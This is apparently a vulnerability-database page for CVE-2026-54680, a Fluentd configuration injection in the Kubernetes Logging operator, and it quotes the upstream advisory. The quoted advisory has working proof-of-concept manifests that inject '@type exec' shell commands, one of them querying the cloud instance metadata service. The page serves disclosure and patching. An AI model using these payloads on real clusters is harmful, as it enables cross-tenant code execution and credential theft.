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  4. CVE 2026 54680 logging operator has fluentd configuration
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Back to active CVEs
Critical ยท CVSS 9.9CVE-2026-54680GHSA-MJQF-28PH-426H

Logging operator has Fluentd configuration injection that allows remote code executionCVE-2026-54680

Answer in brief

CVE-2026-54680 records a Critical severity (CVSS 9.9) vulnerability in Logging operator has Fluentd configuration injection that allows remote code execution. The current sources do not mark it as known exploited. The current feed maps github.com/kube-logging/logging-operator (go), github.com/kube-logging/logging-operator (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 29, 2026Updated Oct 24, 2026Source checked Nov 1, 2026First seen by HOL Aug 2, 2026Material review Oct 24, 2026
Upstream Advisory

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-74, CWE-77
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
5 linked sources
Open source record

Key facts

Risk
Critical ยท CVSS 9.9
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.9. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/kube-logging/logging-operator (go), github.com/kube-logging/logging-operator (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/kube-logging/logging-operatorgo<0.0.0-20260608145523-cf437d7f1e050.0.0-20260608145523-cf437d7f1e05
github.com/kube-logging/logging-operatorgo>=0 <0.0.0-20260608145523-cf437d7f1e050.0.0-20260608145523-cf437d7f1e05

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/kube-logging/logging-operator, github.com/kube-logging/logging-operator.
  2. 2Review the reported fix. Update github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05; github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 29, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 24, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 2, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87 Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration. One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103 The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image. ### PoC The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`. First, create a minimal `Output` as the log destination. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Output metadata: name: sink namespace: tenant-a spec: nullout: {} ``` Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: exfil namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "id > /tmp/pwned" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ``` After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`. ```sh kubectl apply -f output.yaml -f flow.yaml kubectl -n <control-namespace> get secret <logging>-fluentd-app \ -o go-template='{{ index .data "fluentd.conf" }}' \ | base64 -d | grep -A8 '@type exec' ``` When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows. ```sh kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned # expected: uid=100(fluent) gid=101(fluent) groups=101(fluent) ``` ### Impact This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator. In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: imds-poc namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ```

Quoted source text, attributed separately from HOL analysis.

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